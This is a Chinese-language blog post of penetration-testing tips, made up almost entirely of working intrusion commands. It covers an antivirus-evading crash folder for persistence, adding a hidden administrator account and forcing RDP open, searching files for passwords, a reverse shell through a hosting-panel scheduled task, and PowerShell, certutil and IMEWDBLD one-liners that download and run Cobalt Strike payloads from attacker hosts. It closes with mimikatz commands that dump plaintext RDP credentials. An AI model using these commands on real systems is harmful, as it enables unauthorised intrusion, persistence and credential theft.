日常渗透中的一些小技巧
1.点击即崩溃的文件夹
mkdir anything.{D2035EDF-75CB-4EF1-95A7-410D9EE17170}
桌面点击该文件夹访问即会导致桌面崩溃
适用于:恶作剧,大雾
当然,适用于针对人的杀软绕过(点开回到桌面,/大雾),这里面可以放置绕过AV持久化的一些小东西。
2.查看谷歌浏览器近期日志
chrome://device-log/
包含Usb,蓝牙的日志
适用于内网乱冲时找敏感信息,判断该机器是否有使用痕迹。
3.向Linux传输文件
官网:
https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
适用于用于Windows向Linux传输文件,在没有安装sshGUI的情况下(或旧版本无默认的OpenSSH,WIN10有自带的SSH)
echo n |pscp.exe -l root -pw toor -r c:\1\putty.exe 192.168.62.131:/root
适用于正向不出网的环境+配合冰蝎的交互式终端冲,针对环境极其恶劣的内网(不是蜜罐的说),打下的这台机器是Windows,但是内网发现一堆SSH弱口令,可以使用该工具上传文件,试图横向…
4.CS默认密码配置文件
默认存储在.aggressor.prop中:
C:/User/%username%/.aggressor.prop
这就是关于某种情况下,反控了攻击者的个人终端机,查看这人的攻击成果这回事,或者应对关于密码太过安全而记不住导致没办法和队友协作冲内网这回事
注:外网入口进去之后,我总不能给hxd说我cs密码忘了吧...
5.打站库分离
关于打站库分离,拿下了数据库端而找不到WEB这回事:
1)Mysql数据库
这种数据库相对比较直观,可以直接通过数据库查询获取外联地址,拿到WEB端的IP地址,通过查询 information_schema 库中的 PROCESSLIST 可以查看当前 Mysql的连接情况。
因为 web 应用会产生查询数据库操作,所以在回显出来的 host 字段中会带回目标的 ip:port。
select * from information_schema.PROCESSLIST;
关注HOST字段,如果外联,那么就是WEB端,如下图所示:
读取本地内容
若没有secure_file_priv参数的限制(MySQL5.7以下)我们还可以用load_file() 函数对文件内容进行读取:
select load_file('C:/ceshi.txt');
还可以获取网卡信息,比如读取以下文件来获取WEB端的一些信息(以Centos7为例):
###获取网卡名称/etc/udev/rules.d/70-persistent-net.rules ###网卡静态IP/etc/sysconfig/network-scripts/ifcfg-eth0
2)Mssql数据库
Mssql数据库没啥好讲的,普遍情况下,一旦拿到Mssql数据库的权限,基本上可以直接拿下数据库所在机器。
首先是简单判断是否是站库分离的,一般可以先获取客户端主机名:
Select host_name();
得到服务端主机名:
select @@servername;
根据结果判断是否分离,结果一样就可能站库同服务器,结果不一样就是站库分离。
拿下了之后可以直接翻翻数据库的内容,找这台机器上的敏感信息,运气好可能会翻到密码本,其实也是找敏感信息的过程。
6.RDP登录不上去
关于内网环境下,有时候开了RDP而登录不上去这回事
这是某次演练进入内网遇到的一个问题,MSSQL弱口令xp_cmdshell控下机器,然后开RDP后,发现RDP无法连接,并且报错如下:
由于没有远程桌面授权服务器可以提供许可证,远程会话被中断,或者…
连接远程桌面的时候提示这个,首先确定一下注册表是否成功开启了3389,可以用netstat命令看看开放的端口。
添加账户开RDP一把梭:
net user admin admin@123 /add net localgroup administrators admin /add REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
还是不行的话,可以使用强行登录的方式,登录上去
mstsc /admin /v:10.150.3.11
7.拿下服务器
关于拿下服务器后搜集敏感信息的一些操作:
1)Windows
dir /a /s /b d:\"*.txt"dir /a /s /b d:\"*.xml"dir /a /s /b d:\"*.mdb"dir /a /s /b d:\"*.sql"dir /a /s /b d:\"*.mdf"dir /a /s /b d:\"*.eml"dir /a /s /b d:\"*.pst"dir /a /s /b d:\"*conf*"dir /a /s /b d:\"*bak*"dir /a /s /b d:\"*pwd*"dir /a /s /b d:\"*pass*"dir /a /s /b d:\"*login*"dir /a /s /b d:\"*user*"
2)Linux
Find 一把梭,命令如下:
find / -name "*.*"| grep -E ".*.mdb$|.*.mdf$|.*.bak$|.*.sql$|.*.conf$|.*.eml$|.*.pst$|.*.pass|.*.xml$"
简单举例:
注:具体情况具体看你想要定位哪些文件。
8.打宝塔
事情是这样的,应朋友之邀,做了一下宝塔的靶场(php5.4+Windows起的),因为DisableFunction限制的很死,各种办法尝试还是无法绕过(shell拿下了,但执行不了命令),于是翻系统的配置文件,翻了一段时间之后,得到以下小TIP:
Windows的宝塔默认后台保存在
C:/BtSoft/panel/data/admin_path.pl
日志存储,有时候可以看到登录用户的账号
C:/BtSoft/panel/data/default.db
临时密码
上线的思路,后台一般有两类:
1.一种是宝塔为了安全起见,把后台终端那一栏关闭了,但可以直接用计划任务下命令,一键反弹shell,如下图所示:
弹弹弹,欸嘿嘿:
2.另一种就是带终端的,可以直接执行命令的操作,这个不多赘述。
9.上CS的几种姿势
关于Windows下载文件,上CS这回事的几种姿势:
注:免杀绕过暂不在此范围内,就事论事,相信人均bypassAv
0x01. 调powershell
powershell -command IEX (New-Object System.Net.Webclient).DownloadString('https://xxx.x.x.x/download/ssh.ps1')
0x02. 调certutil
这种比较常规,就不多说了,值得一说的是在Windows Server 2003的机器上,certutil命令默认下载的文件并不会直接保存成exe,而是会保存成一个名字叫做Blob0_0.bin的文件,所以需要重命名一下:
certutil -urlcache -split -f http://192.168.26.134:8000/artifact.exe && ren Blob0_0.bin cc.exe && cc.exe
本地CS上线测试
正常上线就这样即可,无需重命名
certutil -urlcache -split -f https://x.x.x.x/download/file.exe ./1.exe && ./1.exe
0x03. IMEWDBLD.exe下载文件并执行
IMEWDBLD.exe是微软拼音的开放扩展字典模块,可以下载字典文件,但是由于下载的路径是隐藏路径,所以还要找路径:
C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE http://www.xxx.com/xxxx.exe
使用forfiles查找下载的文件路径:
forfiles /P "%localappdata%\Microsoft\Windows\INetCache" /S /M * /C "cmd /c echo @path" #### 参数介绍 /P 表示开始搜索的路径。默认文件夹是当前工作的 目录 (.)。/S 指导 forfiles 递归到子目录。像 "DIR /S"。/M 根据搜索掩码搜索文件。默认搜索掩码是 '*'。/C 表示为每个文件执行的命令。命令字符串应该用双引号括起来。@path 返回文件的完整路径
利用方法:
webshell下一句话下载并执行:
C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE http://192.168.23.129:80/download/file.jpg && forfiles /P "%localappdata%\Microsoft\Windows\INetCache" /S /M * /C "cmd /c echo @path" | findstr ".jpg" |cmd.exe
cs秒上线
注:
1.实际利用可能比较受限制,针对部分sql注入os-shell的场景,可能会遇到命令截断,没法正常执行整段命令的情况。
2.文件后缀尽量怪一点,避免和原有系统自带的一些隐藏文件撞了,导致执行了别的奇怪的操作。
当然,还有比较多的一些其他姿势(比如hh.exe,ieplore.exe等下文件),但使用范围比较受限制,再一个动静也略大。
10.Mimikatz 明文抓取
关于mimikatz直接抓取RDP明文信息, 这里的抓明文的方式,不同 于原 来mimikatz解密dpa pi的方式,是可以一行命令抓取明文数据的。
命令如下:
privilege::debugts::logonpasswords
注:mimikatz我简单从源码层剔除了一点点东西,总体和原生mimikatz命令是一致的。
